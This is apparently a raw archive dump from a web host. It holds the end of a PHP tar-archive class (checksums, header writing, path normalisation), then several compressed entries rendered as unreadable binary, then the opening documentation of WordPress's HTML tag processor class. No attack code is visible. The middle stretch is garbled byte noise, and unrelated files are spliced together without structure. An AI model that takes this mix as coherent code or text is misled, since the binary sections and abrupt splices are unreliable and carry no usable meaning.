		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
